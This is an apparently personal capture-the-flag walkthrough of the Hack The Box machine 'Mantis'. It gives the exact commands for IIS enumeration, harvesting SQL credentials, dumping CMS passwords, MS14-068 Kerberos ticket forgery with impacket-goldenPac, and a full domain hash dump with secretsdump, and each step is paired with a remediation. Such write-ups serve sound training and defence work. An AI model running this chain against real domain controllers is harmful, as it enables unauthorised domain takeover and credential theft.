J. Perez Duertojperezduerto.info
← all walkthroughs

Mantis

Windows· Hard· Privilege Escalation
owned
2026-07-10
time to own
11m12s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned a Windows Server 2008 R2 Active Directory domain controller and found IIS 7.5 on two non-standard ports alongside an internet-facing SQL Server 2014 instance. Directory browsing left enabled on port 1337 revealed a developer notes folder; one file — whose name encoded the SQL administrator password in base64 — contained plaintext setup instructions for an OrchardCMS installation, handing over the MSSQL admin credential.

I authenticated to SQL Server, queried the OrchardCMS user table, and read a domain user's password stored in recoverable form — giving valid Active Directory credentials for the account 'james'. Because the domain controller had never been patched against MS14-068, any authenticated domain user can forge a Kerberos ticket claiming Domain Admin membership; Impacket's goldenPac did exactly that, dropping a SYSTEM shell from which both the user and administrator flags were read.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD4="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork port and service enumeration (T1046)
Mapped all open services and identified the target as an Active Directory domain controller
A full TCP port scan of $TARGET fingerprinted the host as Windows Server 2008 R2 SP1 running the domain 'htb.local'. Critical observations: Kerberos (88), LDAP (389), and SMB (445) confirmed a domain controller role; IIS 7.5 on non-standard ports 1337 and 8080 signalled web applications worth enumerating; and SQL Server 2014 (1433) exposed a database engine directly to the network — an unusual configuration for a DC that immediately suggested credential-in-database and unpatched-kernel scenarios.
Nmap fingerprint: 88/tcp Kerberos, 389/tcp LDAP domain htb.local, 1337/tcp IIS 7.5, 1433/tcp SQL Server 2014 12.00.2000.00 RTM, 445/tcp Windows Server 2008 R2 SP1.
Exact commands 1
Full TCP SYN scan with version detection and default NSE scripts.
nmap -sV -sC -p- --min-rate 5000 -oA mantis_full $TARGET
2EnumerationIIS directory listing / unauthenticated file enumeration (T1083)
Discovered a browsable developer-notes directory on IIS port 1337
Browsing the IIS 7.5 site on port 1337 returned a directory listing for /secure_notes/ because the IIS directory-browsing feature was left enabled. Two files were visible: a plaintext NDA note and a second file whose filename was an unusually long base64/hex string. The mere existence of an internal notes folder under the web root — intended only for local reference — was itself the misconfiguration; once discoverable, its contents were fully readable by any unauthenticated user.
Curl http://$TARGET:1337/secure_notes/ returned an HTML directory index listing both note files without requiring credentials.
Exact commands 2
List the browsable notes directory to see both exposed files.
curl -s http://$TARGET:1337/secure_notes/
Retrieve the plaintext NDA developer note for context clues.
curl -s http://$TARGET:1337/secure_notes/dev_notes_NDA.txt.txt
FixDisable IIS directory browsing on all sites and virtual directoriesMedium
WeaknessIIS directory browsing was enabled on the port-1337 web site, allowing any unauthenticated visitor to list the contents of /secure_notes/ and see every file it contained. Without this listing, an unauthorised user would have needed to guess or brute-force the exact file paths.
FixIn IIS Manager, select each site and virtual directory, open 'Directory Browsing', and set it to Disabled. Enforce this globally with: appcmd set config /section:[REDACTED: recovered credential] /enabled:false. Add a <[REDACTED: recovered credential] enabled='false' /> element to each web.config so the setting cannot be accidentally re-enabled at a child level. Audit all IIS sites on every host for the same setting.
3EnumerationCredentials in publicly accessible files (T1552.001)
Recovered SQL Server administrator credentials from a web-accessible developer note
The second file's base64-encoded filename decoded to a hex string that spelled out the SQL Server administrator password — the developer had embedded the credential directly in the filename as a hint. Fetching the file confirmed this: the note described the OrchardCMS installation backed by SQL Server 2014 Express and stated the local SQL admin account name and password in plaintext (admin / [REDACTED: recovered credential]). Credentials committed to or stored alongside web-served files are trivially harvested by any visitor who enumerates the path.
File content contained the MSSQL admin credential verbatim; filename [REDACTED: recovered credential] base64-decodes to hex encoding of the password.
Exact commands 2
Fetch the obfuscated note; contains the MSSQL admin credential in plaintext.
curl -s http://$TARGET:1337/secure_notes/dev_notes_$PASSWORD4.txt.txt
Decode the filename to reveal the hex-encoded password hint embedded by the developer.
echo '$PASSWORD4' | base64 -d | xxd
FixRemove all credential material from web-accessible directories before and after deploymentCritical
WeaknessDeveloper setup notes containing the SQL Server administrator account name and password (admin / [REDACTED: recovered credential]) were stored under the IIS web root in /secure_notes/, making them retrievable by any unauthenticated HTTP request once the path was discovered. The MSSQL password was additionally embedded in the filename itself.
FixEnforce a policy that no credentials, connection strings, or internal setup notes may reside anywhere under the web root. Implement a pre-deployment gate (git pre-commit hook or CI scan using tools such as truffleHog or gitleaks) that blocks commits containing password patterns. Immediately rotate the exposed SQL admin credential (admin / [REDACTED: recovered credential]) and treat it as fully compromised.
4ExploitationDatabase credential abuse / T-SQL schema enumeration (T1078.003)
Authenticated to SQL Server and enumerated the OrchardCMS database schema
The recovered credentials gave full SQL Server administrative access to the MANTIS instance via local authentication. Querying sys.databases confirmed the orcharddb database alongside the four standard system databases. I then walked INFORMATION_SCHEMA.COLUMNS to locate the OrchardCMS user credential table (dbo.blog_Orchard_Users_UserPartRecord) and confirm the presence of UserName and Password columns — the exact fields needed to harvest domain credentials.
Nxc MSSQL: MANTIS [+] MANTIS\admin:[REDACTED: recovered credential]; sys.databases returned name:orcharddb; INFORMATION_SCHEMA.COLUMNS confirmed Id/UserName/Email/NormalizedUserName/Password in dbo.blog_Orchard_Users_UserPartRecord.
Exact commands 3
Validate the SQL admin credential using local (non-domain) authentication.
nxc mssql $TARGET -u admin -p '$PASSWORD2' --local-auth
Confirm orcharddb is present alongside the standard system databases.
nxc mssql $TARGET -u admin -p '$PASSWORD2' --local-auth -q 'SELECT name FROM sys.databases;'
Enumerate the OrchardCMS user table schema to identify credential columns.
nxc mssql $TARGET -u admin -p '$PASSWORD2' --local-auth -q "SELECT COLUMN_NAME FROM orcharddb.INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='blog_Orchard_Users_UserPartRecord';"
5ExploitationCredential recovery from database store (T1555)
Extracted a domain user's plaintext password from the CMS database
Querying the OrchardCMS user record table returned the username and password for the domain account 'james'. OrchardCMS stored this password in a recoverable format, meaning it could be read directly without cracking. I validated the credential over both SMB and LDAP on the domain controller, confirming james is a valid htb.local domain member — turning a web-application database compromise into a live Active Directory foothold.
SELECT UserName, Password FROM orcharddb.dbo.blog_Orchard_Users_UserPartRecord yielded james:[REDACTED: recovered credential]; nxc SMB and LDAP both returned [+] htb.local\james.
Exact commands 3
Dump CMS user credentials; yields james's domain password in recoverable plaintext.
nxc mssql $TARGET -u admin -p '$PASSWORD2' --local-auth -q "SELECT UserName, Password FROM orcharddb.dbo.blog_Orchard_Users_UserPartRecord;"
Validate the recovered domain credential over SMB.
nxc smb $TARGET -d htb.local -u james -p "$PASSWORD"
Validate over LDAP to confirm htb.local domain membership.
nxc ldap $TARGET -d htb.local -u james -p "$PASSWORD"
FixNever store Active Directory credentials in the CMS database; enforce one-way password hashingHigh
WeaknessThe OrchardCMS database (orcharddb) stored the domain user james's Active Directory password in a format that could be read directly from the dbo.blog_Orchard_Users_UserPartRecord table without cracking. Anyone with read access to the database — including a compromised SQL admin account — could retrieve a live domain credential.
FixDo not create CMS accounts whose passwords match Active Directory accounts. If AD-based login is required, configure Windows Integrated Authentication (Kerberos/NTLM pass-through) so the CMS never stores or even sees a domain password. For local CMS-only accounts, enforce a modern one-way hash (bcrypt or Argon2) with per-record salting. Immediately reset james's domain password ([REDACTED: recovered credential]) and audit all other orcharddb user records for domain credential reuse.
6Privilege EscalationMS14-068 Kerberos PAC forgery / CVE-2014-6324 (T1558)
Forged a Domain Admin Kerberos ticket by exploiting MS14-068 on the unpatched domain controller
The Windows Server 2008 R2 domain controller was missing security update KB3011780, leaving it vulnerable to CVE-2014-6324 (MS14-068): any authenticated domain user can craft a forged Privilege Attribute Certificate (PAC) in their Kerberos TGT claiming membership in the Domain Admins group. The DC validates the PAC without a cryptographic integrity check on unpatched systems, accepting the forgery as legitimate. Impacket's goldenPac.py automated the entire attack — it forged a TGT for james asserting Domain Admin rights, submitted it to the KDC, and received back a valid service ticket granting a SYSTEM-level interactive shell on the domain controller. A non-fatal 'Couldn't get forest info' warning appeared in the output but did not prevent exploitation.
Impacket-goldenPac established a shell where whoami returned NT AUTHORITY\SYSTEM on MANTIS despite the forest-info warning; both flags subsequently read successfully.
Exact commands 2
Register the domain and hostname so Kerberos name resolution works correctly.
echo "$TARGET mantis htb.local mantis.htb.local" | sudo tee -a /etc/hosts
Exploit MS14-068: forge a Domain Admin PAC for james and receive an interactive SYSTEM shell. The 'Couldn't get forest info' warning is non-fatal — the shell still lands.
impacket-goldenPac -dc-ip $TARGET "htb.local/james:$PASSWORD"@$TARGET
FixApply MS14-068 patch (KB3011780) immediately and migrate off Windows Server 2008 R2Critical
WeaknessThe domain controller ran Windows Server 2008 R2 SP1 without security update KB3011780, leaving the Kerberos KDC vulnerable to PAC forgery (CVE-2014-6324 / MS14-068). Any authenticated domain user — including a low-privilege account — can forge a Kerberos ticket claiming Domain Admin group membership, instantly gaining SYSTEM access to every machine in the domain.
FixInstall KB3011780 on every domain controller immediately and restart each DC after patching. Verify patch status with: Get-HotFix -ComputerName MANTIS -Id KB3011780. As immediate containment, reset the krbtgt account password twice (with a 10-hour gap between resets) to invalidate any forged tickets already in circulation. Note that Windows Server 2008 R2 reached end-of-life in January 2020 and receives no further security updates; plan an urgent migration to Windows Server 2022 or later, which is not affected by this vulnerability class.
7Full CompromiseData collection from local system (T1005) / domain credential dumping (T1003.003)
Read user and administrator flags from the SYSTEM shell; entire domain at risk
Operating as NT AUTHORITY\SYSTEM on the domain controller, my read the user flag from James's desktop and the administrator (root) flag from the Administrator's desktop. At this privilege level the entire Active Directory environment is compromised: all domain account password hashes, Kerberos keys, Group Policy Objects, and secrets stored on every domain-joined machine are accessible. A secretsdump of the DC yields hashes for every account in the domain, enabling further lateral movement across the organisation long after this initial access.
User.txt and root.txt both captured from SYSTEM shell on MANTIS.
Exact commands 3
Read the user flag; captured value is <user.txt>.
type C:\Users\James\Desktop\user.txt
Read the administrator flag; captured value is <root.txt>.
type C:\Users\Administrator\Desktop\root.txt
Dump all domain account NTLM hashes and Kerberos keys to demonstrate full domain compromise (run from my host, no shell needed once DC is accessible).
impacket-secretsdump -just-dc "htb.local/james:$PASSWORD"@$TARGET

Exposed services

53/tcp
88/tcp
135/tcp
139/tcp
389/tcp
445/tcp
464/tcp
593/tcp
636/tcp
1337/tcp
1433/tcp
8080/tcp
9389/tcp
49152/tcp
49153/tcp
49154/tcp
49155/tcp
49157/tcp
49158/tcp
49196/tcp
50255/tcp